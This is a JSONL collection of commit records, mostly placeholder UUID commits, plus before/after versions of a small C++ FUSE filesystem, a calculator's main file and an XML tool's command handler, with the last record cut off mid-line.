{"text":"<commit_before>0d303963-2748-11e6-908a-e0f84713e7b8<commit_msg>For roselyn to integrate at some point<commit_after>0d3c8c00-2748-11e6-badc-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>47c54254-2e4f-11e5-b9df-28cfe91dbc4b<commit_msg>47cf451c-2e4f-11e5-b3c2-28cfe91dbc4b<commit_after>47cf451c-2e4f-11e5-b3c2-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>d66d631e-585a-11e5-803a-6c40088e03e4<commit_msg>d6747b66-585a-11e5-bf7e-6c40088e03e4<commit_after>d6747b66-585a-11e5-bf7e-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>1813c187-2e4f-11e5-a9a9-28cfe91dbc4b<commit_msg>181b9351-2e4f-11e5-b4b9-28cfe91dbc4b<commit_after>181b9351-2e4f-11e5-b4b9-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>78262257-2e4f-11e5-a40f-28cfe91dbc4b<commit_msg>782c8be6-2e4f-11e5-9e9b-28cfe91dbc4b<commit_after>782c8be6-2e4f-11e5-9e9b-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>9101adb3-2d14-11e5-af21-0401358ea401<commit_msg>9101adb4-2d14-11e5-af21-0401358ea401<commit_after>9101adb4-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>cf82fefd-327f-11e5-b1d6-9cf387a8033e<commit_msg>cf892dfd-327f-11e5-8b6b-9cf387a8033e<commit_after>cf892dfd-327f-11e5-8b6b-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>d6288294-585a-11e5-9404-6c40088e03e4<commit_msg>d62f937a-585a-11e5-a6a9-6c40088e03e4<commit_after>d62f937a-585a-11e5-a6a9-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>206957eb-2e4f-11e5-a0d4-28cfe91dbc4b<commit_msg>20709ade-2e4f-11e5-8f08-28cfe91dbc4b<commit_after>20709ade-2e4f-11e5-8f08-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>9363bf02-2d14-11e5-af21-0401358ea401<commit_msg>9363bf03-2d14-11e5-af21-0401358ea401<commit_after>9363bf03-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>f10a501c-2e4e-11e5-bbc0-28cfe91dbc4b<commit_msg>f118d6e6-2e4e-11e5-828d-28cfe91dbc4b<commit_after>f118d6e6-2e4e-11e5-828d-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>0b0503fd-2d3e-11e5-8a0d-c82a142b6f9b<commit_msg>0b7de5c5-2d3e-11e5-94b7-c82a142b6f9b<commit_after>0b7de5c5-2d3e-11e5-94b7-c82a142b6f9b<|endoftext|>"} {"text":"<commit_before>e069e287-313a-11e5-b692-3c15c2e10482<commit_msg>e06fdf59-313a-11e5-9e5d-3c15c2e10482<commit_after>e06fdf59-313a-11e5-9e5d-3c15c2e10482<|endoftext|>"} {"text":"<commit_before>28d2f53d-2e4f-11e5-bb5a-28cfe91dbc4b<commit_msg>28da2097-2e4f-11e5-a343-28cfe91dbc4b<commit_after>28da2097-2e4f-11e5-a343-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>45bc5185-ad5d-11e7-a4f8-ac87a332f658<commit_msg>updated some files<commit_after>47099128-ad5d-11e7-b793-ac87a332f658<|endoftext|>"} {"text":"<commit_before>1319a570-585b-11e5-8996-6c40088e03e4<commit_msg>132081e2-585b-11e5-9e2c-6c40088e03e4<commit_after>132081e2-585b-11e5-9e2c-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>a9d52542-2e4f-11e5-8a89-28cfe91dbc4b<commit_msg>a9dca19e-2e4f-11e5-ab5f-28cfe91dbc4b<commit_after>a9dca19e-2e4f-11e5-ab5f-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>8fd048d8-2d14-11e5-af21-0401358ea401<commit_msg>8fd048d9-2d14-11e5-af21-0401358ea401<commit_after>8fd048d9-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>31fc843e-2f67-11e5-8219-6c40088e03e4<commit_msg>32034346-2f67-11e5-959f-6c40088e03e4<commit_after>32034346-2f67-11e5-959f-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>666cbda4-2fa5-11e5-839f-00012e3d3f12<commit_msg>666ee082-2fa5-11e5-8ed7-00012e3d3f12<commit_after>666ee082-2fa5-11e5-8ed7-00012e3d3f12<|endoftext|>"} {"text":"<commit_before>3aaab92b-2e4f-11e5-99c4-28cfe91dbc4b<commit_msg>3ab12935-2e4f-11e5-99dc-28cfe91dbc4b<commit_after>3ab12935-2e4f-11e5-99dc-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>763998e6-2d53-11e5-baeb-247703a38240<commit_msg>763a1802-2d53-11e5-baeb-247703a38240<commit_after>763a1802-2d53-11e5-baeb-247703a38240<|endoftext|>"} {"text":"<commit_before>b6120d2c-35ca-11e5-8178-6c40088e03e4<commit_msg>b618b4d8-35ca-11e5-807e-6c40088e03e4<commit_after>b618b4d8-35ca-11e5-807e-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>10f50451-2d3f-11e5-92b1-c82a142b6f9b<commit_msg>114ce3dc-2d3f-11e5-aacc-c82a142b6f9b<commit_after>114ce3dc-2d3f-11e5-aacc-c82a142b6f9b<|endoftext|>"} {"text":"<commit_before>8e9fac84-2d14-11e5-af21-0401358ea401<commit_msg>8e9fac85-2d14-11e5-af21-0401358ea401<commit_after>8e9fac85-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>d7897fd7-4b02-11e5-b7de-28cfe9171a43<commit_msg>compiles now<commit_after>d7991c5c-4b02-11e5-8127-28cfe9171a43<|endoftext|>"} {"text":"<commit_before>8de59acc-2e4f-11e5-a72f-28cfe91dbc4b<commit_msg>8dedcfc0-2e4f-11e5-8b2f-28cfe91dbc4b<commit_after>8dedcfc0-2e4f-11e5-8b2f-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>#define FUSE_USE_VERSION 30\n#include <fuse.h>\n\n\/\/ POSIX\n#include <sys\/types.h>\n#include <sys\/stat.h> \/\/ mode info\n#include <pwd.h> \/\/ user id\n#include <grp.h> \/\/ group id\n#include <unistd.h>\n#include <time.h>\n#include <limits.h> \/\/ PATH_MAX\n\n\/\/ STL\n#include <system_error>\n#include <map>\n#include <set>\n#include <string>\n#include <cstdint>\n#include <cassert>\n#include <cstring>\n#include <iostream>\n\nnamespace posix\n{\n static const int success_response = 0;\n static const int error_response = -1;\n static int success(void) { errno = 0; return success_response; }\n static int error(std::errc err) { errno = *reinterpret_cast<int*>(&err); return error_response; }\n}\n\nnamespace circlefs\n{\n enum class Epath\n {\n root,\n directory,\n file,\n };\n\n struct file_entry_t\n {\n bool operator < (const file_entry_t& other) const \/\/ for locating files by name\n { return name < other.name; }\n\n std::string name;\n pid_t pid;\n struct stat stat;\n };\n\n std::map<uid_t, std::set<file_entry_t>> files;\n\n void deconstruct_path(const char* path, Epath& type, passwd*& pw_ent, std::string& filename)\n {\n const char* dir_pos = std::strchr(path, '\/') + 1;\n const char* file_pos = std::strchr(dir_pos, '\/');\n std::string dir;\n\n if(path[1] == '\\0')\n {\n type = Epath::root;\n pw_ent = nullptr;\n filename.clear();\n }\n else\n {\n if(file_pos == nullptr)\n {\n dir = dir_pos;\n filename.clear();\n type = Epath::directory;\n }\n else\n {\n dir = std::string(dir_pos, file_pos - dir_pos);\n filename = file_pos + 1;\n type = Epath::file;\n }\n\n pw_ent = ::getpwnam(dir.c_str());\n }\n }\n\n void clean_set(std::set<file_entry_t>& dir_set)\n {\n char path[PATH_MAX + 1];\n struct stat info;\n\n auto pos = dir_set.begin();\n while(pos != dir_set.end())\n {\n \/\/ Linux only\n sprintf(path, \"\/proc\/%d\", pos->pid);\n if(stat( path, &info ) != posix::success_response || !(info.st_mode & S_IFDIR)) \/\/ if process\n pos = dir_set.erase(pos);\n else\n ++pos;\n }\n }\n\n int readdir(const char* path, void* buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info* fileInfo)\n {\n (void)fileInfo;\n filler(buf, \".\" , nullptr, 0);\n filler(buf, \"..\", nullptr, 0);\n\n Epath type;\n passwd* pw_ent;\n std::string filename;\n\n deconstruct_path(path, type, pw_ent, filename);\n\n switch(type)\n {\n case Epath::root: \/\/ root directory (fill with usernames in use)\n {\n auto pos = files.begin();\n while(pos != files.end())\n {\n clean_set(pos->second);\n\n if(pos->second.empty())\n pos = files.erase(pos);\n else\n {\n filler(buf, ::getpwuid(pos->first)->pw_name, nullptr, offset);\n ++pos;\n }\n }\n break;\n }\n\n case Epath::directory: \/\/ list files in directory (based on username)\n {\n auto pos = files.find(pw_ent->pw_uid);\n if(pos == files.end()) \/\/ username has no files\n {\n posix::error(std::errc::no_such_file_or_directory);\n return 0 - errno;\n }\n\n clean_set(pos->second);\n\n for(const file_entry_t& entry : pos->second)\n filler(buf, entry.name.c_str(), &entry.stat, offset);\n\n break;\n }\n\n case Epath::file: \/\/ there must have been a parsing error (impossible situation)\n assert(false);\n }\n\n return posix::success();\n }\n\n int mknod(const char* path, mode_t mode, dev_t rdev)\n {\n (void)rdev;\n if(!(mode & S_IFSOCK) || mode & (S_ISUID | S_ISGID)) \/\/ if not a socket or execution flag is set\n return posix::error(std::errc::permission_denied);\n\n Epath type;\n passwd* pw_ent = nullptr;\n std::string filename;\n struct stat stat = {};\n struct timespec time;\n clock_gettime(CLOCK_REALTIME, &time);\n\n deconstruct_path(path, type, pw_ent, filename);\n\n switch(type)\n {\n case Epath::root: \/\/ root directory - cannot make root!\n case Epath::directory: \/\/ directory (based on username) - cannot make directory!\n return posix::error(std::errc::permission_denied);\n\n case Epath::file: \/\/ create a node file!\n fuse_context* ctx = fuse_get_context();\n auto& dir = files[pw_ent->pw_uid];\n auto entry = dir.find({ filename, 0, stat });\n if(entry != dir.end())\n dir.erase(entry);\n\n stat.st_uid = pw_ent->pw_uid;\n stat.st_gid = pw_ent->pw_gid;\n stat.st_mode = mode;\n stat.st_atim =\n stat.st_ctim =\n stat.st_mtim = time;\n\n dir.insert({ filename, ctx->pid, stat });\n break;\n }\n return posix::success();\n }\n\n int getattr(const char* path, struct stat* statbuf)\n {\n Epath type;\n passwd* pw_ent = nullptr;\n std::string filename;\n\n deconstruct_path(path, type, pw_ent, filename);\n\n switch(type)\n {\n case Epath::root: \/\/ root directory (always exists)\n statbuf->st_mode = S_IFDIR | S_IRUSR | S_IRGRP | S_IROTH | S_IXUSR | S_IXGRP | S_IXOTH;\n posix::success();\n break;\n\n case Epath::directory: \/\/ username (exists if username exists)\n statbuf->st_mode = S_IFDIR | S_IRUSR | S_IRGRP | S_IROTH | S_IXUSR | S_IXGRP | S_IXOTH;\n if(pw_ent == nullptr)\n posix::error(std::errc::no_such_file_or_directory);\n else\n posix::success();\n break;\n\n case Epath::file:\n auto pos = files.find(pw_ent->pw_uid);\n if(pos == files.end()) \/\/ username not registered\n {\n posix::error(std::errc::no_such_file_or_directory);\n break;\n }\n\n clean_set(pos->second);\n\n for(const file_entry_t& entry : pos->second) \/\/ check every file\n {\n if(entry.name == filename)\n {\n *statbuf = entry.stat;\n posix::success();\n return 0 - errno;\n }\n }\n\n posix::error(std::errc::no_such_file_or_directory); \/\/ no file matched\n break;\n }\n return 0 - errno;\n }\n}\n\nint main(int argc, char *argv[])\n{\n static struct fuse_operations ops;\n\n ops.readdir = circlefs::readdir;\n ops.mknod = circlefs::mknod;\n ops.getattr = circlefs::getattr;\n\n return fuse_main(argc, argv, &ops, nullptr);\n}\n<commit_msg>cleanup<commit_after>#define FUSE_USE_VERSION 30\n#include <fuse.h>\n\n\/\/ POSIX\n#include <sys\/types.h>\n#include <sys\/stat.h> \/\/ mode info\n#include <pwd.h> \/\/ user id\n#include <grp.h> \/\/ group id\n#include <unistd.h>\n#include <time.h>\n#include <limits.h> \/\/ PATH_MAX\n\n\/\/ STL\n#include <system_error>\n#include <map>\n#include <set>\n#include <string>\n#include <cstdint>\n#include <cassert>\n#include <cstring>\n#include <iostream>\n\nnamespace posix\n{\n static const int success_response = 0;\n static const int error_response = -1;\n static int success(void) { errno = 0; return success_response; }\n static int error(std::errc err) { errno = *reinterpret_cast<int*>(&err); return error_response; }\n}\n\nnamespace circlefs\n{\n enum class Epath\n {\n root,\n directory,\n file,\n };\n\n struct file_entry_t\n {\n bool operator < (const file_entry_t& other) const \/\/ for locating files by name\n { return name < other.name; }\n\n std::string name;\n pid_t pid;\n struct stat stat;\n };\n\n std::map<uid_t, std::set<file_entry_t>> files;\n\n void deconstruct_path(const char* path, Epath& type, passwd*& pw_ent, std::string& filename)\n {\n const char* dir_pos = std::strchr(path, '\/') + 1;\n const char* file_pos = std::strchr(dir_pos, '\/');\n std::string dir;\n\n if(path[1] == '\\0')\n {\n type = Epath::root;\n pw_ent = nullptr;\n filename.clear();\n }\n else\n {\n if(file_pos == nullptr)\n {\n dir = dir_pos;\n filename.clear();\n type = Epath::directory;\n }\n else\n {\n dir = std::string(dir_pos, file_pos - dir_pos);\n filename = file_pos + 1;\n type = Epath::file;\n }\n\n pw_ent = ::getpwnam(dir.c_str());\n }\n }\n\n void clean_set(std::set<file_entry_t>& dir_set)\n {\n char path[PATH_MAX + 1];\n struct stat info;\n\n auto pos = dir_set.begin();\n while(pos != dir_set.end())\n {\n \/\/ Linux only\n sprintf(path, \"\/proc\/%d\", pos->pid);\n if(stat( path, &info ) != posix::success_response || !(info.st_mode & S_IFDIR)) \/\/ if process\n pos = dir_set.erase(pos);\n else\n ++pos;\n }\n }\n\n struct timespec get_oldest(std::set<file_entry_t>& dir_set)\n {\n struct timespec oldest = dir_set.begin()->stat.st_atim;\n auto pos = dir_set.begin();\n while(pos != dir_set.end())\n {\n if(pos->stat.st_atim.tv_sec < oldest.tv_sec)\n oldest.tv_sec = pos->stat.st_atim.tv_sec;\n }\n return oldest;\n }\n\n int readdir(const char* path, void* buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info* fileInfo)\n {\n (void)fileInfo;\n filler(buf, \".\" , nullptr, 0);\n filler(buf, \"..\", nullptr, 0);\n\n Epath type;\n passwd* pw_ent;\n std::string filename;\n\n deconstruct_path(path, type, pw_ent, filename);\n\n switch(type)\n {\n case Epath::root: \/\/ root directory (fill with usernames in use)\n {\n auto pos = files.begin();\n while(pos != files.end())\n {\n clean_set(pos->second);\n\n if(pos->second.empty())\n pos = files.erase(pos);\n else\n {\n filler(buf, ::getpwuid(pos->first)->pw_name, nullptr, offset);\n ++pos;\n }\n }\n break;\n }\n\n case Epath::directory: \/\/ list files in directory (based on username)\n {\n auto pos = files.find(pw_ent->pw_uid);\n if(pos == files.end()) \/\/ username has no files\n {\n posix::error(std::errc::no_such_file_or_directory);\n return 0 - errno;\n }\n\n clean_set(pos->second);\n\n for(const file_entry_t& entry : pos->second)\n filler(buf, entry.name.c_str(), &entry.stat, offset);\n\n break;\n }\n\n case Epath::file: \/\/ there must have been a parsing error (impossible situation)\n assert(false);\n }\n\n return posix::success();\n }\n\n int mknod(const char* path, mode_t mode, dev_t rdev)\n {\n (void)rdev;\n if(!(mode & S_IFSOCK) || mode & (S_ISUID | S_ISGID)) \/\/ if not a socket or execution flag is set\n return posix::error(std::errc::permission_denied);\n\n Epath type;\n passwd* pw_ent = nullptr;\n std::string filename;\n struct stat stat = {};\n struct timespec time;\n clock_gettime(CLOCK_REALTIME, &time);\n\n deconstruct_path(path, type, pw_ent, filename);\n\n switch(type)\n {\n case Epath::root: \/\/ root directory - cannot make root!\n case Epath::directory: \/\/ directory (based on username) - cannot make directory!\n return posix::error(std::errc::permission_denied);\n\n case Epath::file: \/\/ create a node file!\n fuse_context* ctx = fuse_get_context();\n auto& dir = files[pw_ent->pw_uid];\n auto entry = dir.find({ filename, 0, stat });\n if(entry != dir.end())\n dir.erase(entry);\n\n stat.st_uid = pw_ent->pw_uid;\n stat.st_gid = pw_ent->pw_gid;\n stat.st_mode = mode;\n stat.st_ctim =\n stat.st_mtim =\n stat.st_atim = time;\n\n dir.insert({ filename, ctx->pid, stat });\n break;\n }\n return posix::success();\n }\n\n int getattr(const char* path, struct stat* statbuf)\n {\n Epath type;\n passwd* pw_ent = nullptr;\n std::string filename;\n\n deconstruct_path(path, type, pw_ent, filename);\n\n switch(type)\n {\n case Epath::root: \/\/ root directory (always exists)\n statbuf->st_mode = S_IFDIR | S_IRUSR | S_IRGRP | S_IROTH | S_IXUSR | S_IXGRP | S_IXOTH;\n posix::success();\n break;\n\n case Epath::directory: \/\/ username (exists if username exists)\n statbuf->st_mode = S_IFDIR | S_IRUSR | S_IRGRP | S_IROTH | S_IXUSR | S_IXGRP | S_IXOTH;\n if(pw_ent == nullptr)\n posix::error(std::errc::no_such_file_or_directory);\n else\n posix::success();\n break;\n\n case Epath::file:\n auto pos = files.find(pw_ent->pw_uid);\n if(pos == files.end()) \/\/ username not registered\n {\n posix::error(std::errc::no_such_file_or_directory);\n break;\n }\n\n clean_set(pos->second);\n\n for(const file_entry_t& entry : pos->second) \/\/ check every file\n {\n if(entry.name == filename)\n {\n *statbuf = entry.stat;\n posix::success();\n return 0 - errno;\n }\n }\n\n posix::error(std::errc::no_such_file_or_directory); \/\/ no file matched\n break;\n }\n return 0 - errno;\n }\n}\n\nint main(int argc, char *argv[])\n{\n static struct fuse_operations ops;\n\n ops.readdir = circlefs::readdir;\n ops.mknod = circlefs::mknod;\n ops.getattr = circlefs::getattr;\n\n return fuse_main(argc, argv, &ops, nullptr);\n}\n<|endoftext|>"} {"text":"<commit_before>dedbe207-327f-11e5-82ba-9cf387a8033e<commit_msg>dee2ed07-327f-11e5-84e3-9cf387a8033e<commit_after>dee2ed07-327f-11e5-84e3-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>75016048-5216-11e5-970f-6c40088e03e4<commit_msg>7507e026-5216-11e5-9ebb-6c40088e03e4<commit_after>7507e026-5216-11e5-9ebb-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>ce6e8087-327f-11e5-a0ad-9cf387a8033e<commit_msg>ce748b85-327f-11e5-a008-9cf387a8033e<commit_after>ce748b85-327f-11e5-a008-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>eab41c66-2e4e-11e5-a1b5-28cfe91dbc4b<commit_msg>eabafccc-2e4e-11e5-8e17-28cfe91dbc4b<commit_after>eabafccc-2e4e-11e5-8e17-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ main.cpp\n\/\/ Calculator\n\/\/\n\/\/ Created by Gavin Scheele on 4\/6\/14.\n\/\/ Copyright (c) 2014 Gavin Scheele. All rights reserved.\n\/\/\n\n#include \"Solver.h\"\nusing namespace std;\nint main(int argc, char * argv[])\n{\n\n\/\/ Rational *a = new Rational(2,1);\n\/\/ Rational *b = new Rational(1,-8);\n\/\/ Rational *c = new Rational(2,1);\n\/\/ Integer *d = new Integer(4);\n\/\/ Integer *e = new Integer(-1);\n\/\/ Integer *f = new Integer(0);\n\/\/ \n\/\/ cout << *a->add(c) << endl;\n\/\/ cout << *a->subtract(d) << endl;\n\/\/ cout << *a->multiply(e) << endl;\n\/\/ cout << *a->divide(b) << endl;\n \n Solver *s = new Solver(\"3 - 300\");\n cout << s->solve() << endl;;\n \n \n return 0;\n}<commit_msg>got started<commit_after>\/\/\n\/\/ main.cpp\n\/\/ Calculator\n\/\/\n\/\/ Created by Gavin Scheele on 4\/6\/14.\n\/\/ Copyright (c) 2014 Gavin Scheele. All rights reserved.\n\/\/\n\n#include \"Solver.h\"\nusing namespace std;\nint main(int argc, char * argv[]) \/\/a main method shouldn't have perameters - at least I don't think so. -Dan\n{\n string choice;\n choice = \"z\";\n cout << \"Menu\" << \"\\n\" <<\n \"a. Compute a New Expression\" << \"\\n\" <<\n \"b. Help\" << \"\\n\" <<\n \"c. Review Previous Expressions and Answers\" << \"\\n\";\n cin >> choice;\n cout << \"\\n\";\n if (choice.compare(\"a\") == 0) {\n string secondChoice = \"n\"\n while (secondChoice.compare(\"y\") == 0) {\n string expression;\n cin >> expression;\n \/\/that's the input - I don't know how you want to handle it\n cout <<\"\\n\" << \"Would you like to go back to the menu? (y\/n)\" << \"\\n\";\n cin >> secondChoice;\n cout << \"\\n\";\n }\n }\n\/\/ Rational *a = new Rational(2,1);\n\/\/ Rational *b = new Rational(1,-8);\n\/\/ Rational *c = new Rational(2,1);\n\/\/ Integer *d = new Integer(4);\n\/\/ Integer *e = new Integer(-1);\n\/\/ Integer *f = new Integer(0);\n\/\/ \n\/\/ cout << *a->add(c) << endl;\n\/\/ cout << *a->subtract(d) << endl;\n\/\/ cout << *a->multiply(e) << endl;\n\/\/ cout << *a->divide(b) << endl;\n \n Solver *s = new Solver(\"3 - 300\");\n cout << s->solve() << endl;;\n \n \n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>d215278a-327f-11e5-97d9-9cf387a8033e<commit_msg>d21d05de-327f-11e5-8b53-9cf387a8033e<commit_after>d21d05de-327f-11e5-8b53-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>7977a0b3-4b02-11e5-911d-28cfe9171a43<commit_msg>Long commit messages are not required<commit_after>7983f754-4b02-11e5-8d5d-28cfe9171a43<|endoftext|>"} {"text":"<commit_before>b0d31d9a-35ca-11e5-9b4d-6c40088e03e4<commit_msg>b0db3866-35ca-11e5-91dc-6c40088e03e4<commit_after>b0db3866-35ca-11e5-91dc-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>768ce9c4-2d53-11e5-baeb-247703a38240<commit_msg>768d7006-2d53-11e5-baeb-247703a38240<commit_after>768d7006-2d53-11e5-baeb-247703a38240<|endoftext|>"} {"text":"<commit_before>ddfaf6dc-585a-11e5-9c1b-6c40088e03e4<commit_msg>de025d98-585a-11e5-ae93-6c40088e03e4<commit_after>de025d98-585a-11e5-ae93-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>e3b42666-585a-11e5-a42b-6c40088e03e4<commit_msg>e3ba953a-585a-11e5-8f06-6c40088e03e4<commit_after>e3ba953a-585a-11e5-8f06-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>a15bcb94-327f-11e5-9716-9cf387a8033e<commit_msg>a16184a6-327f-11e5-a253-9cf387a8033e<commit_after>a16184a6-327f-11e5-a253-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>9101adf6-2d14-11e5-af21-0401358ea401<commit_msg>9101adf7-2d14-11e5-af21-0401358ea401<commit_after>9101adf7-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>e0bf882b-4b02-11e5-9982-28cfe9171a43<commit_msg>My Life for Auir<commit_after>e0c8e7ee-4b02-11e5-b74c-28cfe9171a43<|endoftext|>"} {"text":"<commit_before>1a58f510-2f67-11e5-9b2c-6c40088e03e4<commit_msg>1a5f8490-2f67-11e5-9046-6c40088e03e4<commit_after>1a5f8490-2f67-11e5-9046-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>470a3f2e-2e4f-11e5-8c0f-28cfe91dbc4b<commit_msg>47114ce1-2e4f-11e5-8fd3-28cfe91dbc4b<commit_after>47114ce1-2e4f-11e5-8fd3-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>#include <algorithm>\n#include <map>\n#include <iostream>\n#include <fstream>\n#include <cstdio>\n#include \"document.h\"\n\nextern FILE * xmlin;\nextern int xmlparse(Document **);\n\nstatic std::string help_message = \"Available commands are:\\n\\\n..\/xmltool -p file.xml : parse and display the xml file\\n\\\n..\/xmltool -v file.xml file.xsd : parse both xml and xsd files and display the validation result\\n\\\n..\/xmltool -t file.xml file.xsl : parse both xml and xsl files and display de transformation result of file.xml by the stylesheet file.xsl\\n\\\n..\/xmltool -h : displays this help\\n\";\n\nstatic int handle_help(int, const char **);\nstatic int handle_validate(int, const char **);\nstatic int handle_parse(int, const char **);\nstatic int handle_transform(int, const char **);\n\n\/\/ Valid commands (no dash character)\ntypedef int (*command_handler)(int, const char **) ;\nstatic std::map<std::string, command_handler> command_map = {\n { \"h\", handle_help},\n { \"v\", handle_validate },\n { \"p\", handle_parse },\n { \"t\", handle_transform }\n};\n\nint main(int argc, const char ** argv)\n{\n \/\/ Command must be given\n if (argc < 2)\n {\n std::cerr << \"No argument given\" << std::endl;\n return handle_help(argc, argv);\n }\n\n \/\/ Command must be handled\n std::string cmd(argv[1] + 1);\n std::map<std::string, command_handler>::const_iterator it;\n if ((it = command_map.find(cmd)) == command_map.end())\n {\n std::cerr << \"Bad argument given\" << std::endl;\n return handle_help(argc, argv);\n }\n\n \/\/ Call command handler, making argc and argv correspond\n int nb_ignored = 2;\n argc -= nb_ignored;\n argv += nb_ignored;\n return it->second(argc, argv);\n}\n\nint handle_help(int, const char **)\n{\n std::cerr << help_message;\n return 1;\n}\n\nstatic Document * read_document(const char * fname)\n{\n \/\/ Change xmlparse input\n FILE * fp = fopen(fname, \"r\");\n if (fp == nullptr)\n {\n return nullptr;\n }\n xmlin = fp;\n\n \/\/ Construct document\n Document * doc = nullptr;\n xmlparse(&doc); \/\/ who gives a f**k about the return code ?\n\n \/\/ TODO semantic analysis\n\n return doc;\n}\n\nint handle_parse(int argc, const char ** argv)\n{\n if (argc < 1)\n {\n std::cerr << \"You must provide an argument to the command -p\" << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ XML\n Document * doc = read_document(argv[0]);\n if (doc == nullptr) { return EXIT_FAILURE; }\n std::cout << doc->str() << std::endl;\n delete doc;\n\n return EXIT_SUCCESS;\n}\n\nint handle_validate(int argc, const char ** argv)\n{\n if (argc < 1)\n {\n std::cerr << \"You must provide two arguments to the command -v: an xml file and an xsd file\" << std::endl;\n return EXIT_FAILURE;\n }\n else if (argc < 2)\n {\n std::cerr << \"You must provide two arguments to the command -v: an xml file and an xsd file\" << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ XML\/XSD\n Document * xml_doc = read_document(argv[0]);\n Document * xsd_doc = read_document(argv[1]);\n\n \/\/ TODO\n\n delete xml_doc;\n delete xsd_doc;\n\n return EXIT_SUCCESS;\n}\n\nint handle_transform(int argc, const char ** argv)\n{\n if (argc < 1)\n {\n std::cerr << \"You must provide two arguments to the command -t: an xml file and an xsl file\" << std::endl;\n return EXIT_FAILURE;\n }\n else if (argc < 2)\n {\n std::cerr << \"You must provide two arguments to the command -t: an xml file and an xsl file\" << std::endl;\n return EXIT_FAILURE;\n }\n\n \/\/ XML\/XSL\n Document * xml_doc = read_document(argv[0]);\n Document * xsl_doc = read_document(argv[1]);\n\n \/\/ TODO\n\n delete xsl_doc;\n delete xml_doc;\n\n return EXIT_FAILURE;\n}\n\n\/\/ vim:ft=cpp et sw=2 sts=2:\n<commit_msg>More tests<commit_after>#include <algorithm>\n#include <map>\n#include <iostream>\n#include <fstream>\n#include <cstdio>\n#include \"document.h\"\n\nextern FILE * xmlin;\nextern int xmlparse(Document **);\n\nstatic std::string help_message = \"Available commands are:\\n\\\n..\/xmltool -p file.xml : parse and display the xml file\\n\\\n..\/xmltool -v file.xml file.xsd : parse both xml and xsd files and display the validation result\\n\\\n..\/xmltool -t file.xml file.xsl : parse both xml and xsl files and display de transformation result of file.xml by the stylesheet file.xsl\\n\\\n..\/xmltool -h : displays this help\\n\";\n\nstatic int handle_help(int, const char **);\nstatic int handle_validate(int, const char **);\nstatic int handle_parse(int, const char **);\nstatic int handle_transform(int, const char **);\n\n\/\/ Valid commands (no dash character)\ntypedef int (*command_handler)(int, const char **) ;\nstatic std::map<std::string, command_handler> command_map = {\n { \"h\", handle_help},\n { \"v\", handle_validate },\n { \"p\", handle_parse },\n { \"t\", handle_transform }\n};\n\nint main(int argc, const char ** argv)\n{\n \/\/ Command must be given\n if (argc < 2)\n {\n std::cerr << \"No argument given\" << std::endl;\n return handle_help(argc, argv);\n }\n\n \/\/ Command must be handled\n std::string cmd(argv[1] + 1);\n std::map<std::string, command_handler>::const_iterator it;\n if ((it = command_map.find(cmd)) == command_map.end())\n {\n std::cerr << \"Bad argument given\" << std::endl;\n return handle_help(argc, argv);\n }\n\n \/\/ Call command handler, making argc and argv correspond\n int nb_ignored = 2;\n argc -= nb_ignored;\n argv += nb_ignored;\n return it->second(argc, argv);\n}\n\nint handle_help(int, const char **)\n{\n std::cerr << help_message;\n return 1;\n}\n\nstatic Document * read_document(const char * fname)\n{\n \/\/ Change xmlparse input\n FILE * fp = fopen(fname, \"r\");\n if (fp == nullptr)\n {\n std::cerr << \"Unable to open does_not_exist.xml\" << std::endl;\n return nullptr;\n }\n xmlin = fp;\n\n \/\/ Construct document\n Document * doc = nullptr;\n xmlparse(&doc); \/\/ who gives a f**k about the return code ?\n\n \/\/ TODO semantic analysis\n\n return doc;\n}\n\nint handle_parse(int argc, const char ** argv)\n{\n if (argc < 1)\n {\n std::cerr << \"You must provide an argument to the command -p\" << std::endl;\n return 1;\n }\n\n \/\/ XML\n Document * doc = read_document(argv[0]);\n if (doc == nullptr) { return 1; }\n std::cout << doc->str() << std::endl;\n delete doc;\n\n return 0;\n}\n\nint handle_validate(int argc, const char ** argv)\n{\n if (argc < 1)\n {\n std::cerr << \"You must provide two arguments to the command -v: an xml file and an xsd file\" << std::endl;\n return 1;\n }\n else if (argc < 2)\n {\n std::cerr << \"You must provide two arguments to the command -v: an xml file and an xsd file\" << std::endl;\n return 1;\n }\n\n \/\/ XML\/XSD\n Document * xml_doc = read_document(argv[0]);\n Document * xsd_doc = read_document(argv[1]);\n\n \/\/ TODO\n\n delete xml_doc;\n delete xsd_doc;\n\n return 0;\n}\n\nint handle_transform(int argc, const char ** argv)\n{\n if (argc < 1)\n {\n std::cerr << \"You must provide two arguments to the command -t: an xml file and an xsl file\" << std::endl;\n return 1;\n }\n else if (argc 